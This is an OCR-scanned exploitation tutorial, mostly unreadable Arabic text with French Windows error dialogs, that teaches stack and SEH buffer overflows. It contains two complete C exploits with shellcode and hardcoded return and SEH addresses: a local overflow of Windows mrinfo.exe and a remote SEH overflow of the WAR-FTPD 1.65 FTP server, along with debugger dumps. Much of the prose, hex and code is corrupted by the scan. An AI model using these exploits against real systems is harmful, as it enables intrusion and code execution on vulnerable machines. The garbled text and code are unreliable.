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Stack Overflow : Stack Based & Stack Not based overflow.
Heap Overflow : Heap Based & BBS overflow

. stack Based overflow ga lWJl> Logs bo WY lpJ B bl J SJ 8,8 glosl g

Ox02# ) lodiaw VI WUSg gwliswl ki i AususS
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- dn8d 5838 @yuel L liegioogo pud @V gw JSiin
mrinfo.exe osliiolg j93009)l (89 8,95 (sJe ssudai Jlio UgSwg

C:\WINDOWS\system32\mrinfo.exe
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Loade 250 ol SLLl s 0855 oS Ll 8Ll <sd dlual oad Vsl 5l

loule ol ot

[code]mrinfo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBBBOOOO[/code]

x|

@ L'inskruckion & "Ox4r4r4f4f" emploie l'adresse mémaire “Dx4F4F4r4f, La mémoire ne peuk pas ékre “read",

Cliquez sur OF pour kerminet le pragramme,
Cliquez sur &nnuler pour déboguer le programme

K, J annuler
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S x| win| w4 4 | +f LlE/M|T|W]H|c|/|K[B|R[.|5] iZ|if]?]

Rl
S?SESZZB STHBSUEE 56| £ 59 68 GE SSEI{i = e T
noofbac BEEFFORE| FFFFEFFE
BlEEZE0Z| 62 G0 60 06| 3E &9 00 G6|E...AL..
! BEEPFOOY | B2EZEEEZ
BlEEZE16| 64 G0 00 06| 3F &9 00 G8|e...AL..
il BEETFOAS| G36EGSET
BlEEZE1Z| A5 60 00 06|98 &9 63 GE[@...Ei..
| BEETFOOC|  2BEBEIEF
B1EEZEZE| 16 69 68 06|31 &9 68 08| k.. .=i.. aEhEE mEEaReec"
BlEEZECE| G0 60 60 06| SC &9 68 BE|. ... 0i..
- GEGETFOES| 58713208
BlEEZEI6| A1 G0 60 06|92 59 B8 BE|6...EL..
i GoGFFOES| FSASOES4
BlEEZE3Z| B2 G0 60 0G| 93 69 B8 BE|6...51..
o GOGTFOEC| BRGEEEEAE
B1EEZE46| B4 G0 B0 06|94 59 B8 56| .. .60
o GEEFFOCH| BREEEESS
BlEEZE4S| 46 G5 6O BE| S5 &9 B8 BE|@...00..
BlAEZECH| 26 B8 B6 0G| 96 53 PO B0 Wi HEEFFOCS | BORBEAZS
BlAEZEEE| 16 B8 B8 BA| 97 63 B0 ©8[ k... Ui.. BEEFFOCE| BOREAA2S
"2 % BEEFFOCC| FC926282 | ntdll.7
BlEEZEGE| 50 G2 60 08|35 &9 68 G8[C...0i..
gL BEEPFO0G| FEFFEEFE
BlEEZEES| B0 B8 08 06|50 69 B8 BE| . ... 1l..
BEEFFO04| PEFOOBEE
BlEEZETE| A1 B9 00 06|08 GO G0 BE[6.... ... £ el
B1EEZEVE| B0 B8 60 06| GE GO B8 BE| . ... ... e 00 | TR
BlEEZE6| B0 G5 60 06| GE GO B8 BE| ... ... .. .
GEGEFFOER| B1BE1572 | mrinfo.
B1EEZE2C| B0 G0 68 06|05 GB B8 BE| ... ... ..
GOGTFOES| BRGEEEAE
B1EEZE96| B0 60 60 06|08 G0 B8 98| ... ... ..
BEGTFOES| PCE1BEFS| RETURN
BlEEZESS| 6B G5 B0 06| B8 BB B8 BE| ... ... ..
BlAEZEAG| A6 G5 0O DR B G0 B0 GO HEEFFOED) BOREEALE
BlAEZEAS| A0 B8 B6 BA| 68 B8 B8 BE[ ... ... .. HEEFFORE)  BOREEZAE
"""" BEEFFOFS| BRETEFFC
BlEEZEEG| 60 G0 00 00| 08 GO G0 68| ........
GEEPFOFS| BEEPFOSC
BlEEZEES| BB G0 00 06| GE GO B8 BE|........
BEEFFOFC| S123FE3S
B1l@ezeca| FF FF FF FF|FF FF FF FF
BlREEECE| 08 BE R BB BE B B8R GE|........ - |CESEATE| EEEHASTE
AlAAZANG AR AR R G0l GF A6 66 G HEEFFEESS ] FEI1ESEE ntdll.7

Access violation when executing [4F4F4F4F] - use Shift+F7/F8/F9 to pass exception to program

om0 samiow wsall 83gell @i (sl piiiw EIP 4FAFAFAF

Exploit = buffer + RET + NOPsled + Shellcode
loisew VI oS lg

[code]/* MS-Windows Mrinfo.exe Stack buffer overflow Local exploit
* BY : SimO-sOfT >> www.sec-rlz.com
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*/
#include <stdio.h>
#include <string.h>
#include <windows.h>
//calc size 351 bytes
char scode[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xfAAXfA\Axf\x4f\x49\x49\x49\x49\x49"
"\X49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\X41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\X56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x58\x4e\x4 7"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"
"\X4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x38"
"\Xx41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\X46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x48"
"\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x34"
"\x4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x58"
"\X41\x30\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x58\x42\x4c\x4a\x37"
"\Xx4e\x30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x53\x4f\x55\x41\x53"
"\x48\x4f\x42\x36\x48\x45\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x47"
"\x42\x55\x4a\x56\x42\x4f\x4c\x48\x46\x30\x4f\x45\x4a\x56\x4a\x59"
"\X50\x41\x4c\x48\x50\x30\x47\x35\x4\x4\x47\x4e\x43\x46\x41\x46"
"\X4e\x56\x43\x46\x50\x42\x45\x56\x4a\x57\x45\x56\x42\x30\x5a";
int main(void){
char vuln[]="mrinfo.exe "; // 10 bytes + 1 bytes space
char RET[]="\x67\x86\x86\x7c"; // 4 bytes Call ESP
char sploit[426];

memset(sploit,0x41,426);
memcpy(sploit,vuln,strlen(vuln));
memcpy(&sploit[67],RET,strlen(RET));
memcpy(&sploit[71],"\x90\x90\x90\x90",4);
memcpy(&sploit[75],scode,strlen(scode));

WinExec(sploit,0);
return O;

" 3/29/2009



}H/code]
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x|

@ L'instruction & "0x0007Fe01" emploie 'adresse mémaire "0xc4825be1", La mémoire ne peut pas ékre "read”,

Cliquez sur QK pour kerminet | programme.
Cliquez sur annuler pour déboguer le programme
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:SEH Joe (sde S| pungilg

BUFFER

varl var2....varn

Saved EBP

EIP-[RET Adgh]

Point to next SEH

SEH Handler
. J
F iy pSulg
[code]typedef struct EXCEPTION_REGISTRATION
{

_EXCEPTION_REGISTRATION *next;
PEXCEPTION_HANDLER *handler;
} EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;[/code]
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L 00 JS 1 o oSwiiow W 8,08 wlly sl ,5VL ol Uas @iy boaie (S

=095 8)9.0 pSly (ugliell

EBP 41414141

EIP 41414141

41414141

41414141

Point to next seh
41414141

.

SEH Handler
41414141

J

asY csoliow HloswVl Jeslsss SEH

Ox04+#

- Findjmp2

control Jl Lozl Wl (suss [0pd
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L owslie o el lle Jpw 289: ol 118 (sdyizo 351 o izl caowiyd Class
101 2V Loy csodl @sl, 8l

Call & JMP & POP
S 989 pwoadl @il (58 oVl iS5 >
findjmp2.exe loaddll.dll register
AUl 8>l (59 BV oapy Jeiiinowg
geiisll gob Cmedl *
oMl s 9 Ly Jeiiw oJ LiS)g Universal e cuzdl o8 anls 80> aay,b o

Ox05# SEH windows Trust SP3 ) lowiaw| uSuoluud

. Windows 2000 SPO aokaiVl VI 5,5Vl £lgVl @8lSs awis oMel oladl (sde Hlosiwdl ol
Call EBX é S, @b (sde anis plaidl las 0V

- owlio Hlodiwl lug 8,88l JuoSs Soaw lude o WV control pi (suo 49,20 a.0.59
SEH 4
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Data

GS Flag 41414141

Saved EBP 41414141

EIP(RET) 41414141

41414141

point to next SEH
JMP 06 hyles

SEH Handler
POP POP RET

Some NOP's

9090....9090

.

Shellcode

J

- gl 11a sde VgSiw Lpie LiadSs sl wlind] e JMsiwVl 0ls anlls JSug wsl

JUNK data

i kb SEH,

JMP 06 POP POP RET

bytes

shelicode

- o wslly AlewVl LA dowsr (8 2ahiow oSJs JMeiwVl &S Ls,c oVl

[code]char next_seh[]="\xEB\x06\x90\x90[/code]

or
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[code]int next_seh=0x909006eb[/code]

POP POP RET *

ESP POP

oS @ pgss Jeidl s auldl POP
. NOP sJl & iolo (sl yuiny oS IMP+6 next seh U,.iwgo Juei RET

: findjmp2 asd,20 dide e b b i 20 elde Loge0 Gundd 8,035Vl (9 udl pupi V
Josiwiwg g9l [0d (o Ulgic > a0.8 9o

findjmp2 kernel32.dll ebx

pop e pop
r:n: i ":II:I rj
i pop
pop
pop
pop

pop

julmli]
rl Im] rl rl Im] rl

call

call

call eh
call

pop

Wil Uoifia opie 81519 S1 i g LS ,as VI el ledl HLinedl uglisll
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[code]Ox7C818484[/code]

[code]char SEH[]="\x84\x84\x81\x7c",
int seh=0x7C818484 [/code]

. aodlal daxdl N9 \iili ( S\daabi JUoJ Lddiuwg 6a>9)1 01D o Lapiil

OX06# SNk Jlno

. ULQ.D PY-Y V) a.ob).u a).w| vl U))S U)lkh” )L9 )Ll.l?‘l ;_5\.9 J.v_gb)..S.su A
WS\ a> Jpaw Y gwolidl 1ad O, il Jeiuin e LSt aosad b2l Sl
08 2wl s JMsicw I

+.

¥ 1dle - WAR-FTPD 1.65

Properties  View Help -

WAR-ftpd 1.65

! =10l |

I?i 2|22 olel &%l o] =]

Y . — Syztem Athibutes
#N\_| Login | Name | State | [~ Gooffline when ready [ and exit
[ Dery all loging [except for adminiztrator]
¥ Mo anonymous loging
Click here Max Uzers IEEI Anon, I-“:I
IF riurnber and paort
haﬂ 26062141 |21
— Meszages from the users
1| |+
ki Sy Ed Message | |
S 2009 02 28 20:47] WinSock 2.0 =
E 2003 02 28 20:47] Failed ta intialize the ODBLE log madule
S 2009 02 28 20:47] Initializing ODBC log module. .. —
S 2003 02 28 20:47] wWAR-FTPD 1.65 Copyright [2] 1995, 1997 by jgaa. 'WIN32 [NT) -
! Ll_l
i |EINLINE |‘I of 32767 sockets |EI of 50 [16381] Uszers |EI file: ¥fers

- icgoge uawd WY Cid> WS 2wl o) U sLedl 0ad Wy JSUI gubaJU

10
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[code]#include <stdio.h>
#include <string.h>
#include <winsock.h>

#define VULNSERVER "WAR-FTPD 1.65"
#define PORT 21
char scode[] =
"\Xeb\x03\x59\xeb\x05\xe8\XfB\XFfA\XfI\XfI\X4f\x49\x49\x49\x49
\x49"
"\X49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30
\x42\x36"
"\X48\Xx48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42
\x48\x34"
"\X41\X32\X41\X44\Xx30\x41\x44\x54\x42\x44\x51\x42\x30\x41
\x44\x41"
"\X56\Xx58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46
\x54"
"\X42\x30\x42\x30\x42\x30\x4b\x58\x45\x44\x4e\x43\x4b\x58
\x4e\x47"
"\X45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x51
\x4b\x48"
"\X4\X55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x43
\x4b\x38"
"\X41\X30\Xx50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42
\x4c"
"\X46\X57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44
\x4c\x4b\x4e"

"\X46\ X4\ Xx4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45
\x4e\x4b\x48"
"\X4\X45\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x50
\x4b\x34"
"\X4b\x58\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x31
\x4b\x58"
"\X41\xX30\x4b\x4e\x49\x48\x4e\x55\x46\x32\x46\x50\x43\x4c\x41
\x43"
"\X42\X4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x58\x42
\x4c\x4a\x37"
"\X4e\xX30\x4b\x58\x42\x44\x4e\x30\x4b\x58\x42\x37\x4e\x51
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\x4d\x4a"
"\X4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42
\x4b"

"\X42\ x50\ x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x53\x4f\x55\x41
\x53"
"\X48\x4f\x42\x36\x48\x45\x49\x58\x4a\ x4\ x43\x38\x42
\x4c\x4b\x47"
"\X42\x55\x4a\x56\x42\x4f\x4c\x48\x46\x30\ x4\ x45\x4a\x56
\x4a\x59"

"\X50\ x4\ x4c\x48\x50\x30\x47\x35\x4f\x4N\x47\x4e\x43\x46\x41
\x46"
"\X4e\x56\x43\x46\x50\x42\x45\x56\x4a\x57\x45\x56\x42\x30
\x5a"";

int main(int argc,char *argv[]){
WSADATA wsadata;
SOCKET s;
SOCKADDR__IN server,
char sbuf[1024];
char rbuf[256];
char user[]="\x55\x53\x45\x52\x20";
char n_SEH[]="\XEB\x06\x90\x90";
char SEH[]="\X55\xA9\x87\x7C";//0x7C87A955
char bc[]="\r\n";

system("'CLS");

printf
"
printf(""\t\t War-ftpd 1.65 Buffer overflow Remote exploit [SEH]
\N\N\t\tBY: SIimO-sOfT >>www.sec-rlz.com\n\n");
printf
G

If((WSAStartup(MAKEWORD(2, 0),&wsadata)) ==0){
if((s=socket(AF_INET, SOCK_STREAM ,0)) = -1){
server.sin_family=AF_INET;
server.sin_port=htons(PORT);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
memset(&(server.sin_zero),0x30,8);
if(connect(s, (SOCKADDR*)&server, sizeof(SOCKADDR)) = -1){
recv(s, rbuf ,256, 0);

" 3/29/2009
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if(strstr(rbuf , VULNSERVER) '= NULL){
memcpy(sbuf,user,sizeof(user)-1);
memset(&sbuf[5],0x41,485);
memset(&sbuf[490],0x58,4);// crash EIP
memset(&sbuf[494],0x30,80);
memcpy(&sbuf[574],n_SEH,sizeof(n_SEH)-1);
memcpy(&sbuf[578],SEH,sizeof(SEH)-1);
memset(&sbuf[582],0x90,10);
memcpy(&sbuf[592],scode,sizeof(scode)-1);
memcpy(&sbuf[943],bc,sizeof(bc)-1);
iIf(send(s, sbuf, 945,0)!=-1){
printf("[*]Attacking.....");
sleep(100);
printf("OK\n\n[*] Sending data....."");
sleep(2000);
printf("OK\n\n[*]Sent");

¥

be

b

s

s

closesocket(s);

WSACleanup();
return O;
}/code]
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War-ftpd 1.65 Buffer owverflow REemote exploit [SEH]

Bv: Simd-s0fT =:wa, sec—rlz. com

Sending data..... oK

d Settings\The Fanops

D AWl Ol S yhaw pi Vol Quuw ] AV Jiciiow gsu 15l b>Vg
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OllyDbyg - war-ftpd.exe - [CPU - thread 00000080]

.File Wiews Debug  Plugins  Options  Window  Help

Sl x| w[n] s+ $4 ] +f L|E[M[T|W|H|c[/|K[B[R]..|s| =Z[H]?]

Address |Hex dump HSCII
Ga44aae8| 66 66 88 aa| 59 4B 42 Gal ... YKC
BE44E8ES [ FR 26 48 A6 26 37 40 60 =cE. 87@
pEddEala( 26 20 42 88| 7R 26 42 80| 60E. pEE.
poddEala( 60 o2 42 8@ 90 6D 42 B@| ~8Cc. hAC.
BE44EEZE[(ER 10 42 BAIZ6A 11 43 86| «kC. AC.
BEddEaza( 60 11 42 AAIER 11 43 @A| 4C. «dl
BEd4ARZE(ER 12 42 BRI ZA 13 42 66| «3C. NIC
AE44Ea232( 40 12 42 BRI 2R 12 42 @R GIC, CIC
BEd44ER48(CH 12 42 Ga(ER 14 42 @a) LIC, . qC
BEd44ER42( 40 14 42 BE[20 14 42 G@) @OC. CqC
BER44REEE] CH 14 42 G666 15 42 G6] LQC, . 8C.
BE44pEEs] 46 15 42 66| o6 10 42 66| eEC, GEC,
podd@aca o 15 42 Bl @n 16 43 8@l “EC. . .C.
BE44ERES[ 26 17 42 BA| AR BE B8 BA|BFC. ... .
BE44ERTE( BE BE B BE| OB B8 B BA| . .......
BE44ERTE( B8 BR B8 BA| @R BE B8 BA|........
BEddARSE( 31 30 B8 BA|ER @R @8 BA| 168......
BE44aa22( 5C 52 74 &1| 74 52 &5 FA|-“StatRep

BR44B698| EF 72 P4 2E| P4 70 74 08| art.tut.
BE44BE95| 2E 73 TE 70|00 08 B0 88| .srp....
BR44B608| 55 72 &5 72| 7S 28 74 6F|Uzers to
BR44BBAZ| 28 65 7S 63| 6C 75 64 65| euclude
@R4406ES| B8 B8 BE B8 4F TS 74 70| ....0ut0
BR44B6ES| 75 74 28 50|61 74 65 D8|ut Path.
BR4406CE| 4E 75 60 62| 65 72 20 &F|Humber o
BR44B6CE| 66 28 TS 75 65 vE 75 O8|f users.
BR44B608| 42 69 7S 74| &6F 72 79 B@|History.
BR44B602| 55 78 5C SF &1 &4 26 4&|Upload F
BR44B6ES| &9 S0 G5 73 B0 08 0O 08| iles....
BR44B6ES| 55 70 &C &F &1 &4 26 42|Upload B
BR44B6FE| 79 74 BB 73 0O 08 00 06| ytEs....
BR44B6FS| 44 6F 77 SE| 60 &F &1 64| Down Load
@R448188| 28 46 69 6C) 65 7S 00 98| Files..
BR440165] 44 &F TF GE GG &F &1 &4l Download

Access violation when erecuting [58535853] - use Shift+F7/F8/F3 to pass exception ho program
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http://en.wikipedia.org/wiki/Buffer_overflow
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